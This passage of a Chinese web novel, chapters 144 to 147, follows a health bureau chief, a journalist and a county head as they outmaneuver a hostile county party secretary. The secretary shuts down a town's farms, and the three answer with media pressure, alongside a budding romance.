王建军嘴唇哆嗦着,额头上的汗珠滚滚而下,在众目睽睽之下,一个字也憋不出来。
第144章 一语定乾坤,群雄竞折腰!
会议室里,死一般的寂静被苏沐秋那句轻飘飘却又重如千钧的问话,砸得粉碎。
空气仿佛凝固了,所有人的目光都像探照灯一样,聚焦在七里河镇书记王建军那张瞬间失去血色的脸上。
王建军的嘴唇哆嗦着,喉结上下滚动,却一个字也挤不出来。
他感觉自己不是站在会议室里,而是被剥光了衣服,扔在广场上,供人围观。
苏沐秋的问题,就像一把淬了毒的匕首,看似是请教,实则一刀就捅进了他最虚弱的软肋。
是啊,你质疑别人搞得好不好,那你自己呢?
你干了什么?
他能说什么?
说自己年年开会强调,岁岁下乡慰问?
还是说自己争取资金,给卫生院换了几个灯泡,刷了一遍墙?
这些东西,在周国福那颤巍巍站起来的双腿面前,在李德海那盈利五万块的财务报表面前,简直就是个笑话。
“王书记,苏记者问你话呢。”
主位上,一直沉默的县长李建国终于开口了。
他端起茶杯,轻轻吹了吹浮沫,语气平淡,却带着一股不容置疑的压迫感。
“怎么,是七里河镇的成功经验太多,一时之间,不知道从何说起啊?”他顿了顿,放下茶杯,发出一声轻响,“还是说……根本就没什么可说的?”
这补上的一刀,直接让王建军的心理防线彻底崩溃。
他脸上一阵红一阵白,最后涨成了猪肝色,额头上的汗珠子顺着脸颊滚落下来,啪嗒一声滴在桌面上。
“我……我们镇……情况复杂……”他结结巴巴地,总算憋出半句话。
“哦?情况复杂。”李建国点点头,眼神却扫向全场,“在座的各位,哪个镇的情况不复杂?我看,最复杂的是某些干部的思想!心思不用在谋发展、干实事上,却总想着怎么给干事的人挑刺、使绊子!”
话音一落,全场噤若寒蝉。
尤其是之前附和着提问的大柳树镇镇长刘福贵,此刻恨不得找个地缝钻进去,脑袋埋得比谁都低。
李建国目光转向苏沐秋,脸上露出一丝赞许的微笑:“苏记者,感谢你提出这么好的问题。这不仅是对我们干部的监督,更是对我们工作的鞭策。你这个问题,问到了根子上!我代表县政府,欢迎你们《江城晚报》这样的媒体,以后常来我们青川县,多走走,多看看,多提宝贵意见!”
这番话,是给苏沐秋撑腰,也是在给这场闹剧,做一个最终的裁定。
胜负已分。
一直站在投影幕布前的叶凡,此时才重新走上前来。
他没有看王建军,仿佛刚才那场交锋与他无关。
“各位领导,”他的声音平静而有力,将所有人的注意力都拉了回来,“刚才大家看了病人,也看了账本。现在,请大家看最后一样东西——看一群人。”
他侧过身,指着窗外。
众人顺着他的手指看去,只见卫生院的院子里,青山镇卫生院的医生护士们,正围着几个康复的村民,有说有笑。
他们的脸上没有那种上班打卡的麻木,而是一种发自内心的、充满活力的笑容。那种笑容,是装不出来的。
“‘青山模式’不姓‘陈’,也不姓‘叶’。”叶凡缓缓说道,“它姓‘民’,老百姓的民。它的核心,不是某一个神医,也不是某一个局长,而是一套能让基层医护人员重拾职业尊严,能让老百姓看得起病、看得好病的机制。”
“今天请大家来,不是来下达行政命令,而是来交个朋友,分享一点不成熟的经验。”
他环视全场,目光在每一个乡镇书记、镇长的脸上扫过。
“我知道,每个乡镇都有自己的难处。所以,推广不搞一刀切。县卫生局决定,先拿出三个试点名额。哪个乡镇有决心,有诚意,愿意第一个吃螃蟹,全盘接受‘青山模式’的管理和采购监督体系,卫生局就将人、财、物,优先向你倾斜。陈望道老先生,也可以每个月定期去你们那里巡诊。”
“名额,只有三个。”叶凡最后加了一句,“谁想来,会后可以到我这里报个名。三天之内,报满为止。”
话音落下,会议室里先是短暂的安静,随即,下面“嗡”的一声,炸开了锅。
限量!
还限时!
这哪里是推广经验,这分明是在抛售一块看得见、摸得着的政绩肥肉!
刚才还满腹狐疑、百般挑剔的乡镇长们,此刻的眼神全都变了。
怀疑变成了渴望,审视变成了盘算。
他们互相交换着眼色,心里的小算盘打得噼啪作响。
李建国看着这一幕,嘴角扬起一个不易察觉的弧度。
他站起身,朗声道:“好!叶凡同志说得很好!现场会就开到这里。中午,在镇政府食堂,我请大家吃个便饭!”
……
午饭的场面,比开会时还要精彩。
所谓的便饭,就是简单的四菜一汤,但没有一个乡镇干部在意菜色。
他们端着饭碗,心思各异,眼神乱飘。
王建军和刘福贵两个人,被彻底孤立了。
他们坐在一张桌子上,周围空荡荡的,没人愿意跟他们搭话。
两人埋头扒着饭,味同嚼蜡。
而叶凡的身边,则成了全场的焦点。
“叶局长,叶局长!我是白石镇的赵长根啊!”一个满脸精明相的镇长,挤开人群,端着饭碗凑了过来,脸上笑成了一朵菊花,“您那个试点,我们白石镇第一个报名!我们镇有石灰矿,财政还算宽裕,绝对支持您的工作!”
“叶局我跟您说,我们清水乡虽然穷,但是我们决心大啊!老百姓盼星星盼月亮,就盼着您这样的好干部啊!”
“叶局长,您先考虑我们……”
叶凡被围在中间,应接不暇,却始终保持着微笑,既不立刻答应,也不直接拒绝,只是说着“大家的热情我感受到了,会后我们详细谈”。
苏沐秋端着餐盘,和她的摄影师坐在一个角落里,津津有味地看着这一幕,像在看一出精彩的舞台剧。
“苏记者,”她的摄影师小李压低声音,一脸崇拜,“你刚才那几句话,太帅了!简直是兵不血刃,就把对方给办了!”
苏沐秋笑了笑,夹了一筷子青菜,目光却越过喧闹的人群,落在了那个被众人簇拥的男人身上。
他应付着各路人马,从容不迫,那张曾经写满内敛和沉郁的脸上,此刻,正闪烁着一种她从未见过的光芒。
那是运筹帷幄的自信,是掌控全局的从容。
她忽然觉得以前那个闷葫芦一样的心外科医生,好像真的彻底消失了。
一顿饭吃完,李建国在回去的车上,终于忍不住放声大笑起来。
“痛快!他娘的太痛快了!”他一拍大腿,“我估计现在张海涛的办公室里,电话都快被打爆了!全是找他诉苦告状的!可惜啊,他一个都救不了!”
叶凡坐在副驾驶,笑了笑:“这只是开始。他们今天有多热情,明天张书记给的压力,就会有多大。”
“怕什么!”李建国一挥手,“东风已经吹起来了,他张海涛还能把天给捂住不成?你小子,就放手去干!天塌下来,有我给你顶着!”
车子回到县城,叶凡没有回局里,而是让司机把他放在了路边。
他看着县长绝尘而去的车,长长吐出一口浊气。
手机震动了一下,是苏沐秋发来的微信。
“叶大局长,今天我可是把人得罪惨了,以后在青川县跑新闻,怕是寸步难行。你得负责。”后面跟了一个可怜兮兮的表情。
叶凡看着屏幕,不由得笑出声,手指飞快地回复。
“怎么负责?以身相许?我怕你们报社的周毅主编提着刀来找我。”
信息发出去,那边沉默了几秒。
就在叶凡以为自己玩笑开过火了的时候,苏沐秋的信息回了过来。
“想得美。那顿饭,现在得升级成满汉全席了。”
叶凡笑了笑,继续打字:“没问题。”
“而且,是你亲自下厨的那种。”
看着这行字,叶凡仿佛能看到她在那边,带着一丝狡黠和得意的俏皮模样。
他靠在路边的栏杆上,凉风吹过,带着一丝凉意,心里却暖洋洋的。
他回了一个字:“好。”
收起手机,他抬头看着县城的万家灯火。
他知道,从今天起,青川县这盘棋,棋势已然逆转。
而他,也终于从一个被动应战的棋子,变成了那个可以主动落子的人。
真正的战斗,现在才刚刚开始。
第145章 投名状与鸿门宴!
县委书记办公室里,名贵的紫砂茶杯被狠狠掼在地上,摔得粉身碎骨。
茶叶混着滚烫的水,溅了张海涛一裤腿,他却浑然不觉。
“废物!一群废物!”
他像一头暴怒的狮子,在办公室里来回踱步,胸口剧烈地起伏着。
办公桌上的电话,从半小时前开始就没停过,一个接一个,全是那些在现场会上丢尽了脸面的乡镇干部打来的。
有哭诉的,有告状的,有撇清关系的。尤其是王建军和刘福贵,两个电话打过来,声音抖得像筛糠,话里话外的意思只有一个:书记,我们是按您的意思办的,现在成了全县的笑话,您可得给我们做主啊!
做主?
拿什么做主?
张海涛一脚踢开脚边的碎瓷片,眼神阴鸷得能滴出水来。
他现在终于明白,自己从头到尾都小看了那个姓叶的医生。
他以为对方只是李建国手里的一把刀,却没想到,这把刀自己会思考,会选择下刀的位置,甚至会设下一个让他不得不往里钻的圈套。
现场会是阳谋,他拦不住。
现在,那三个试点名额,更是一记绝杀的后招。这哪里是试点?
这分明是三份热气腾腾的投名状!
谁接了,谁就是公开站队,彻底倒向李建国和叶凡那边。
他能怎么办?挨个打电话威胁那些乡镇长?
别开玩笑了,今天李建国和那个女记者一唱一和,已经把“破坏营公环境”、“打击报复”的帽子给他准备好了。
他现在但凡有点异动,明天《江城晚报》的内参就能摆到市委高书记的案头。
“书记,书记……”电话里,王建军还在带着哭腔哀嚎。
“闭嘴!”张海涛终于忍不住,对着话筒咆哮,“哭哭啼啼,像个什么样子!天塌下来了?”
电话那头瞬间安静了。
张海涛深吸几口气,强迫自己冷静下来。
怒火解决不了任何问题,只会让对手看笑话。
他重新坐回大班椅上,闭上眼睛,脑子里飞速盘算。
堵是堵不住了。
既然拦不住有人要上叶凡那条船,那就想办法,把第一艘下水的船,给它凿沉了!
杀鸡儆猴。
他要让全县的人都看看,跟着叶凡,是什么下场!
他睁开眼,眼中闪过一丝毒辣的冷光,拿起另一部电话,拨了一个号码。
“喂,老周吗?是我,海涛。帮我查一下,最近哪个乡镇的企业,安全生产或者环保手续上,不太干净的……对,查得细一点,把所有材料都备好,等我电话。”
……
与县委大楼的阴云密布不同,卫生局局长办公室里,却是门庭若市。
从青山镇回来后,叶凡的办公室就成了全县最热门的“景点”。
各个乡镇的头头脑脑们,像走马灯似的,揣着笑脸,提着土产,以各种名目来“汇报工作”。
叶凡一概笑脸相迎,茶水续上,但关于试点名额的事,却是一个字都不松口。
他很清楚,这些人里,有真心想干事的,有投机取巧的,更有可能,还有张海涛派来探口风的。
第一个试点,至关重要,必须一炮打响。
所以,这个人选,必须满足三个条件:第一,有改革的决心和魄力;第二,在当地有一定威望,能压得住场子;第三,也是最重要的,不能是张海涛的嫡系,最好还是被他打压过的。
这样的人,才没有退路,才会把“青山模式”当成自己唯一的救命稻草,拼死推行。
送走又一位口沫横飞的镇长,叶凡揉了揉有些发酸的脸颊。
当官,有时候比做一台十二个小时的手术还累。
就在这时,办公室的门被敲响了。
“请进。”
门推开,一个三十多岁,穿着一身干练女士西装,短发齐耳的女人走了进来。
她没有像其他人一样满脸堆笑,只是平静地看着叶凡,眼神里带着几分审视。
“叶局长,您好,我是凤鸣镇的秦雪。”
叶凡心中一动。
秦雪,他听钱国栋提起过。
青川县最年轻的乡镇一把手,也是唯一的女镇长。
能力极强,作风泼辣,硬是把一个穷得掉渣的凤鸣镇,搞成了全县的养殖业示范镇。
但也正因为她太能干,又不是张海涛线上的人,这两年一直被不轻不重地敲打着,好几个项目报上去,都被县里以各种理由压了下来。
这不正是他要找的人吗?
“秦镇长,请坐。”叶凡站起身,亲自给她倒了杯水。
“谢谢。”秦雪没有客套,开门见山,“叶局长,我今天来,不为别的,就要一个试点名额。”
“哦?”叶凡笑了笑,“秦镇长这么有信心?你要知道,这第一个吃螃蟹的人,有可能会被夹到手。”
“被夹到手,也比温水煮青蛙,慢慢等死强。”秦雪的回答,干脆利落,带着一股豁出去的狠劲。“我在青山镇看了,也听了。您那套东西,能救我们凤鸣镇。我们镇养殖业是发展起来了,可人畜粪便的污染问题,一直解决不了。县环保局三天两头来检查罚款,罚得我们喘不过气。我需要一个突破口,一个能让凤鸣镇真正挺直腰杆的项目。”
她看着叶凡的眼睛,一字一顿:“您需要一个能打响头炮的样板,我需要一个能打破僵局的机会。我们是天作之合。”
叶凡看着她,这个女人身上有股和苏沐秋相似的果敢,但更多了几分久经风霜的坚韧。
他笑了,伸出手:“秦镇长,欢迎加入。”
秦雪也露出了几天来的第一个笑容,用力地握住了叶凡的手:“谢谢叶局长。您放心,凤鸣镇,绝不会让您失望。”
送走秦雪,叶凡感觉心头一块大石落了地。
第一个棋子,稳稳地落下了。
他靠在椅子上,长长舒了口气,刚想歇会儿,手机就响了。
屏幕上跳动着“苏沐秋”三个字。
“喂,叶大局长,现在想见你一面,是不是得提前预约,然后排队领号了?”电话那头,传来苏沐秋带着笑意的调侃声。
叶凡也忍不住笑了:“那得看苏大记者想约的是什么了。要是采访,随时欢迎。要是别的……那号已经给你留好了,VIP专座。”
电话那头噗嗤一声笑了出来,似乎是被他这句半真半假的玩笑话给逗乐了。“脸皮越来越厚了啊。说正事,我们报社打算针对你们的‘青山模式’,做一期深度追踪报道,我需要一份更详尽的资料,还有……对你这位总设计师的独家专访。”
“专访没问题。”叶凡看着窗外的晚霞,心情莫名地好了起来,“不过,我有个条件。”
“就知道你没安好心。说吧,又想让我帮你冲锋陷阵?”
“这次不冲锋,是兑现承诺。”叶凡的嘴角,不自觉地扬起一个弧度,“我亲自下厨,做那顿‘满汉全席’。地点就在我家,一边吃,一边访,你看怎么样?”
电话那头,忽然沉默了。
过了足足有五六秒,才传来苏沐秋有些不自然的声音,音量也小了许多:“去……去你家?不太好吧?”
“有什么不好?”叶凡故意逗她,“我家就我一个人,难道苏大记者还怕我把你吃了不成?再说了,你不是要深度专访吗?还有比厨房和餐桌,更能了解一个男人真实生活的地方吗?”
这话说得,已经带上了几分若有若无的暧昧。
苏沐秋在那边“咳”了一声,似乎是在掩饰自己的窘迫,语气却故作镇定:“行……行吧。这是为了工作。时间?”
“就这周五晚上,我下了班去买菜。”
“好,一言为定。”苏沐秋飞快地说完,像是怕他再说出什么让人脸红心跳的话,匆匆补充了一句“我这边还有个会”,便挂断了电话。
听着手机里的忙音,叶凡失笑着摇了摇头。
他仿佛能想象到,电话那头的苏沐秋,此刻肯定是脸颊绯红,心如鹿撞。
这个聪慧果敢的女记者,在面对唇枪舌剑时无所畏惧,却在这样小小的试探下,乱了方寸。
这种反差,让他觉得,无比可爱。
周五,傍晚。
叶凡将最后一盘香辣蟹端上桌时,门铃响了。
他擦了擦手,走过去开门。
门外,苏沐秋亭亭玉立。
她脱下了平日里干练的风衣和西裤,换上了一件米白色的针织长裙,少了几分职场精英的锐气,多了几分邻家女孩的温婉。脸上化了淡妆,显然是精心修饰过。
“哇……”一进门,苏沐秋闻着满屋的饭菜香,眼睛都亮了,“叶凡,你这是把整个菜市场都搬回来了吗?糖醋里脊、可乐鸡翅、清蒸鲈鱼、香辣蟹……你确定这叫‘专访’,不叫‘投喂’?”
“说了是满汉全席,总不能食言。”叶凡递给她一双拖鞋,笑着说,“先去洗手,马上开饭。”
餐桌上,两人相对而坐。
橘黄色的灯光下,气氛温馨而又带着一丝微妙的旖旎。
苏沐秋夹了一块鸡翅,尝了一口,眼睛瞬间瞪圆了:“好吃!叶凡,我真怀疑你是不是新东方烹饪学校毕业的,然后伪装成医生混进了官场?”
“你要是喜欢,以后可以常来。”叶凡给她盛了碗汤,话说得自然而然。
苏沐秋的脸微微一红,低下头喝汤,用勺子搅动着碗里的汤,岔开话题:“说正事。你们那三个试点,都定下来了吧?”
“嗯。”叶凡点头,“凤鸣镇的秦雪,白石镇的赵长根,还有清水乡的李大明。一个是我主动选的,两个是抢着要的。名单今天下午已经发出去了。”
“张海涛那边,没动静?”苏沐-秋抬起头,眼中闪过一丝担忧。
“暴风雨前的宁静,往往最可怕。”叶凡的眼神深邃了几分,“他不会善罢甘休的。我猜,他现在正在磨刀,就等着我们这边第一个出头的,然后一刀砍下去,杀鸡儆猴。”
“那你还……”
“棋盘上,总要有人先落子。”叶凡看着她,“秦雪她们是我的棋子,也是我的战友。我不会让她们独自面对的。”
就在这时,叶凡的手机突兀地响了起来。
他拿起一看,来电显示是“秦雪”。
叶凡和苏沐秋对视了一眼,都从对方的眼中看到了一丝凝重。
他按下接听键。
“叶局长!”电话那头传来秦雪无比急切,甚至带着一丝颤抖的声音。
“出事了!县安监局和环保局,刚刚带着联合执法队,把我们镇上最大的三家养殖场和一家饲料厂,全都给封了!说要停业整顿,无限期!”
第146章 釜底抽薪,引火烧身!
饭桌上的温馨气氛,被电话里秦雪那急促又压抑的声音,瞬间撕得粉碎。
香辣蟹的香气还在鼻尖萦绕,但空气,已经冷了下来。
苏沐秋放下了筷子,那双刚才还含着笑意的明亮眸子,此刻已经变得锐利如鹰。
她没有说话,只是看着叶凡,身体微微前倾,整个人瞬间从一个赴约的邻家女孩,切换回了《江城晚报》那个嗅觉敏锐的王牌记者。
叶凡的脸上没有丝毫的慌乱。
他甚至没有放下手里的筷子,只是用空着的那只手,将手机稍微拿远了一点,让苏沐秋也能听清。
他的镇定,像一颗定海神针,瞬间让电话那头快要崩溃的秦雪,也稍稍稳住了心神。
“秦镇长,别急,慢慢说。”叶凡的声音平静得像是在手术室里安抚病人家属,“他们来了多少人?带队的是谁?下的什么文件?有没有全程录像?”
一连串的问题,精准,冷静,没有一个多余的字。
电话那头的秦雪,仿佛被这股冷静感染,呼吸平复了许多:“人很多,安监局和环保局的执法车,来了七八辆,把厂区门口都堵死了。带队的,是安监局的副局长赵德胜和环保局的副局长孙立。他们……他们拿着一份联合执法通知书,说接到群众举报,我们镇的养殖场存在重大安全隐患和严重环境污染,要我们立刻停业,接受调查。我……我让人去录了,可他们不让靠近,还差点把手机给抢了!”
赵德胜,孙立。
叶凡的脑海里,迅速闪过这两个名字。
都是张海涛线上的人,是王强和孙平倒台后,新提拔上来的副手。
好一招杀鸡儆猴,好一招釜底抽薪。
张海涛这是算准了凤鸣镇的命脉就是养殖业,一刀就砍在了大动脉上。
而且,他学聪明了,这次派来的都是副职。
就算将来出了事,也可以把责任推得一干二净。
“叶局长,我们该怎么办?这三家养殖场和饲料厂,是我们镇一半的财政收入来源!它们一停,全镇的养殖户都要断粮,我们镇……就完了啊!”秦雪的声音里再次带上了哭腔。
“秦镇长,听我说。”叶凡的语气不容置疑,“第一,现在立刻让你的人,全部撤回来,不要跟他们发生任何冲突。他们要封,就让他们封。他们要贴封条,就让他们贴。姿态要做足,全力配合调查。”
“什么?”秦雪愣住了。
“第二,安抚好企业负责人和养殖户的情绪,告诉他们,政府不会不管他们。让他们把损失清单,一笔一笔记清楚。尤其是饲料厂,把所有待发货的订单合同,全部整理出来。”
“第三,也是最重要的。”叶凡看着苏沐秋,对着电话一字一顿,“你现在,立刻以凤鸣镇政府的名义,起草一份紧急报告,就写‘关于我镇重点企业被关停可能引发全县肉蛋奶供应短缺及市场价格波动的紧急预警报告’。”
“什么……什么报告?”秦雪彻底懵了。
苏沐秋的眼睛却“唰”地一下亮了。
她瞬间明白了叶凡的意图,那是一种棋手发现对手致命漏洞时的兴奋,心跳都漏了一拍。
叶凡没有直接解释,而是继续对秦雪下达指令:“报告里不要提任何委屈,不要有任何情绪化的字眼。只用数据说话。就说,这三家养殖场,承担了全县百分之四十的猪肉供应,百分之三十的禽蛋供应。饲料厂,则为全县超过六成的养殖户提供饲料。结论就是,如果无限期关停,预计一周后,全县肉蛋市场将出现供应缺口,价格可能出现剧烈波动,甚至可能影响到社会稳定。”
“这份报告,写好后,盖上你们镇政府的公章,连夜送到县政府,李建国县长的案头。同时,抄送一份给县农业农村局。”
叶凡说完,不等秦雪再问,直接道:“按我说的做,天,塌不下来。”
挂了电话,屋子里陷入了短暂的沉默。
桌上的菜,还在冒着热气,但两个人的心思,早已不在饭桌上。
“张海涛想把这件事,定义成一个乡镇的‘环保安全事故’。”苏沐秋看着叶凡,眼睛里闪烁着兴奋和赞叹的光芒,“而你,直接把它升级成了关系到全县民生的‘食品安全危机’!”
“他想杀鸡儆猴,你就把这只‘鸡’,变成了谁也动不起的‘熊猫’。”
“高,实在是高!”苏沐秋拿起杯子,以果汁代酒,对着叶凡遥遥一敬,“叶大局长,我现在真怀疑,你当年是不是报错了专业。你这脑子,不去搞战略,真是屈才了。”
叶凡被她逗笑了,也端起杯子跟她碰了一下:“没办法,谁让我只会拿手术刀呢。治病救人,道理都是相通的。”
“你这哪是治病救人,你这是在给张海涛做‘肿瘤切除手术’,而且是连麻药都不打的那种。”苏沐秋放下杯子,脸上的笑容渐渐隐去,多了几分严肃,“不过,光有一份报告,还不够。李县长那边,最多只能是从行政层面介入,要求他们谨慎处理。但安监和环保都是垂直部门,他们用‘专业’当挡箭牌,完全可以把事情拖下去。”
“拖?”叶凡笑了,那笑容里,带着几分森然的寒意,“我最怕的,就是他们不拖。”
他看向苏沐秋:“沐秋,又要辛苦你了。”
苏沐秋心头一跳。
他叫她“沐秋”,叫得那么自然。
“说吧,这次想让我怎么配合?”她压下心头那点异样,迅速进入工作状态。
“我不需要你写内参,那种大炮,要留到关键时候用。”叶凡的眼神像深夜里最亮的星,“我要你,发动你所有的媒体朋友,尤其是那些喜欢搞直播、搞短视频的新媒体。”
“做什么?”
“去采访。”叶凡的嘴角勾起一抹狡黠的弧度,“不去采访秦雪,也不去采访被封的厂长。去采访我们青川县各大菜市场的猪肉摊主,去采访那些养了几百只鸡、等着饲料救命的普通养殖户,去采访那些每天早上起来,就担心明天鸡蛋会不会涨价的普通市民。”
“让他们对着镜头说,他们慌不慌。”
苏沐秋的呼吸瞬间急促起来。
她彻底明白了。
叶凡这是要用最真实的民意,去点燃一把火。
这把火,不会烧向安监局,也不会烧向环保局,而是会直接烧到县委书记张海涛的屁股底下!
是你张海涛治下的青川县,出了问题!是你让老百姓没有安稳日子过!
这比任何一篇内参,都更加致命!
“另外,”叶凡看着她,又补充了一句,“帮我约一下《江城财经》的记者,最好是跑农业口的。我想,他们应该会对‘一个地方性的行政执法,如何引发区域性产业链断裂风险’这种选题,很感兴趣。”
苏沐秋看着叶凡,半天说不出话来。
这个男人,心思缜密,布局深远,一环扣一环,简直可怕。
他不仅要引爆民意,还要从经济层面,把这件事上升到破坏产业链安全的高度。
这是要把张海涛放在火上,用文火,慢慢地烤,烤到他皮焦肉烂,自己扛不住为止。
“叶凡,”苏沐秋忽然没头没脑地问了一句,“你……害怕吗?张海涛毕竟是县委书记,把他逼急了,他可能会不择手段。”
“怕。”叶凡看着她的眼睛,回答得坦诚,“手术台上,再小的风险,我都会害怕。因为那是一条命。”
他顿了顿,话锋一转:“但是,有些手术,必须要做。有些毒瘤,必须得切。不然,死的就不是一个人,而是一片肌体。”
苏沐秋的心被这句话狠狠地撞了一下。
她看着灯光下他深邃的眼眸,那里面没有权谋的阴冷,而是一种医者独有的、冷静的慈悲。
“好,我马上去安排。”她站起身,抓起自己的包,“这顿饭,先记着。等打了胜仗,我要你连本带利地还给我。”
“一言为定。”
送走苏沐秋,叶凡回到餐桌前。
一桌子的菜,几乎没怎么动,已经凉了。
他拿起筷子,夹了一块已经冷掉的糖醋里脊,慢慢地咀嚼着。
酸甜的味道在口腔里弥漫,他的眼神,却渐渐变得冰冷。
张海涛,你不是喜欢用规矩当武器吗?
那我就让你看看,什么,才是最大的规矩。
民心,就是最大的规矩!
他拿出手机,拨通了县长李建国的电话。
“县长,我是叶凡。打扰您休息了。”
电话那头,传来李建国带着几分醉意的声音,听起来像是刚从酒局上下来:“小叶啊,这么晚了,有什么事?”
“张书记,对凤鸣镇动手了。”
一句话,让李建国那边的酒意,瞬间醒了大半。
叶凡把情况简单扼要地说了一遍,也包括他让秦雪和苏沐秋去做的安排。
电话那头,是长久的沉默。
半晌,李建国才长长地吐出一口气,那声音,像是从牙缝里挤出来的:“好……好一个张海涛!他这是要掀桌子了!”
“县长,他不是要掀桌子,他是想把桌子腿一根根敲断,让我们自己摔下去。”
“哼,他想得美!”李建国冷笑一声,“你小子,干得漂亮!这招引火烧身,够毒,我喜欢!你放心,秦雪那份报告,我今晚就看!明天一早的县长办公会,我就拿它开题!我倒要看看,他张海涛,怎么跟全县的老百姓交代!”
“我需要您做的,不止这些。”叶凡的声音,沉稳而有力。
“哦?说来听听。”
“明天,请您以身体不适为由,向县委请假。”
“什么?”李建国一愣。
“您是县长,是一县之长。这种时候,您越是着急,张海涛就越是得意。您要做的是冷眼旁观。”叶凡看着窗外的夜色,缓缓说道,“把舞台让给那些真正着急的人。让给嗷嗷待哺的养殖户,让给惴惴不安的市民,也……让给那些想在关键时刻,向您这位县长,表忠心的局长们。”
第147章 舆情如火,隔岸观之!
第二天,太阳照常升起,但青川县的天,已经变了。
城东菜市场,最热闹的猪肉摊前,一个举着手机、开着直播的年轻小伙,正将镜头对准满脸横肉的摊主老王。
“王哥,听说凤鸣镇那几个大养殖场被封了,你这肉,还能保供吗?会不会涨价啊?”
老王一刀剁在案板上,震得肉皮一颤,他对着镜头,满脸愁容地嚷嚷:“保供?我保个屁!我一半的货都是从凤鸣镇拉的,今天早上过去,人家厂门口贴着大封条,车都进不去!我这案板上剩的,卖完就没了!涨价?那肯定得涨啊!我进货价都得涨,不涨价我喝西北风去?”
直播间的评论区瞬间炸了。
“我靠!不是吧?又要涨价?”
“坐标县政府旁边,早上买鸡蛋已经贵了五毛!”
“张书记在干嘛?还管不管了?老百姓的日子还过不过了!”
类似的场景,在青川县的各个角落同时上演。
有采访忧心忡忡的养殖户的,有拍摄超市里空荡荡的鸡蛋货架的,还有跑到县政府门口拍视频,配上悲情音乐,追问“谁来为我们的菜篮子负责”的。
这些粗糙却真实的短视频和直播,像病毒一样,在青川县的各个微信群、朋友圈里疯狂传播。
没有官方通报,没有红头文件,但一股恐慌和不满的情绪,已经像野火一样,在县城里蔓延开来。
……
县委书记办公室里,张海涛正端着一杯新泡的龙井,听着安监局副局长赵德胜的电话汇报。
“书记,您放心!我们的人二十四小时盯着,一只苍蝇都飞不进去。秦雪那个娘们,昨天晚上还想闹事,被我们顶回去了。我估计,不出三天,她就得哭着来求您。”赵德胜的声音里,满是邀功的谄媚。
“嗯,做得不错。”张海涛满意地呷了口茶,“记住,程序一定要走全,让他们挑不出半点毛病。”
挂了电话,他心情舒畅。
他仿佛已经看到,秦雪低头,叶凡受挫,李建国脸上无光的场景。
可这份好心情,并没能持续多久。
县委办公室主任敲门进来,脸色有些古怪:“书记,网上……好像有点关于凤鸣镇养殖场被封的议论。”
“议论?”张海涛不以为意地摆摆手,“正常。让他们议论去,过两天就消停了。”
主任犹豫了一下,还是把手机递了过去:“您还是……自己看看吧。”
张海涛接过手机,只看了一眼,脸色就沉了下来。
视频里,那个猪肉佬粗俗的叫骂,像一记耳光,狠狠抽在他脸上。
他往下划拉,越看,手抖得越厉害,脸色由阴沉转为铁青。
“这……这是谁在背后搞鬼!”他猛地将手机拍在桌上。
“好像都是一些自媒体和本地的网红,抓着老百姓担心涨价的心理在炒作。”
“李建国呢!让他立刻通知宣传部,把这些东西全给我删了!马上!”张海涛咆哮道。
主任缩了缩脖子,小声道:“我……我刚才给李县长办公室打电话了。他秘书说,李县长昨晚着了凉,突发高烧,今天一早就请了病假,在家休息了。”
“病了?”张海涛先是一愣,随即反应过来,气得浑身发抖,指着办公室的门,破口大骂:“他妈的!早不病晚不病,偏偏这个时候病!他这是在给我玩金蝉脱壳!”
他抓起桌上的电话,想打给宣传部,手举到一半,又停住了。
他能怎么说?让宣传部去删老百姓抱怨菜价的视频?
这要是传出去,岂不是坐实了他这个县委书记心虚,不顾民生?
就在这时,电话响了,是农业农村局的局长打来的。
“张书记,我……我就是跟您汇报一下,今天早上,我们收到了凤鸣镇政府的一份紧急报告,说他们那边几个龙头企业被关停,可能会影响全县的肉蛋奶供应……我们局里开了个会,觉得这个……影响不小,想请示一下您,下一步我们该怎么办?”
电话这边,张海涛的牙齿咬得咯咯作响。
好啊,李建国,你人躲起来了,却让手下的人来将我的军!
他还没来得及发火,办公桌上另一部电话又响了,是主管商业的副县长。
“书记,市场监督局的同志反映,今天县里几大超市的肉蛋价格,普遍上涨了百分之十五,市民抢购情绪很严重。我们是不是要启动应急预案,进行市场干预?”
一个接一个的电话,像一盆盆冷水,将张海涛心里的那点得意,浇得一干二净。
他发现自己陷入了一个可怕的泥潭。他想对付的只是叶凡和秦雪,可现在,他面对的是全县的汹涌民意,是各个职能部门甩过来的“烫手山芋”。
他被架在了火上。
……
与县委大楼的鸡飞狗跳不同,李建国的家里,却是茶香四溢。
他穿着一身宽松的居家服,正悠闲地给自己浇着花。
桌上的手机时不时震动一下,他拿起来看一眼,嘴角就露出一丝笑意,然后放下,继续侍弄他的花草。
“老李,你这病得可真清闲啊。”他爱人端着一盘水果走过来,嗔怪道,“外面都快闹翻天了,你这个县长倒好,躲在家里装病。”
“这叫战略性休养。”李建国拿起一颗葡萄扔进嘴里,得意地笑道,“叶凡那小子,让我把舞台让给那些着急的人。你看,现在不就都急起来了吗?”
他爱人白了他一眼:“你就不怕玩脱了?张海涛可不是善茬。”
“他不是善茬,但他也怕火烧到自己身上。”李建国放下水壶,眼神变得深邃,“以前,是我追着他斗。这一次,是全县的老百姓,在推着他走。他要么,自己把这火给灭了,乖乖让凤鸣镇复工,当着全县的面认怂。要么,就硬扛着,等着这把火把他自己烧成灰。”
“那叶凡呢?”
“他?”李建国笑了,“他现在估计比我还清闲。这小子把炸药包点着了引线,然后就扔给了张海涛,自己跑得比谁都快。杀人不见血,诛心不留痕。你说,我当初把他从乡镇调上来,是不是我这辈子做的最正确的一个决定?”
……
县卫生局,局长办公室。
叶凡的确很清闲。
他正一笔一划地,修改着“青山模式”试点推广的实施细则。
窗外阳光正好,办公室里一片宁静,仿佛县城里的一切喧嚣,都与这里无关。
秦雪的电话打来时,他刚写完最后一个字。
“叶局长,您真是神了!”电话那头的秦雪,声音里充满了劫后余生的庆幸和发自内心的敬佩,“今天一早,县农业局和市场监督局的领导,都亲自带队到我们镇来调研了!说是了解情况,其实就是来给我们站台的!那些被封的企业主和养殖户,心都定下来了!现在全镇的人都说,跟着您和县政府,心里踏实!”
“稳住局面就好。”叶凡的语气依旧平淡,“别掉以轻心,这只是第一回合。”
挂了电话,他端起茶杯,刚喝了一口,手机又响了。
是苏沐秋。
他按下接听键,还没开口,就听到电话那头传来苏沐秋带着笑意的声音。
“叶大局长,火已经点起来了,烧得还挺旺。我刚从菜市场回来,听了一上午的大爷大妈骂街,现在耳朵还嗡嗡的。你这个‘总导演’,坐在办公室里隔岸观火,是不是特别有成就感?”
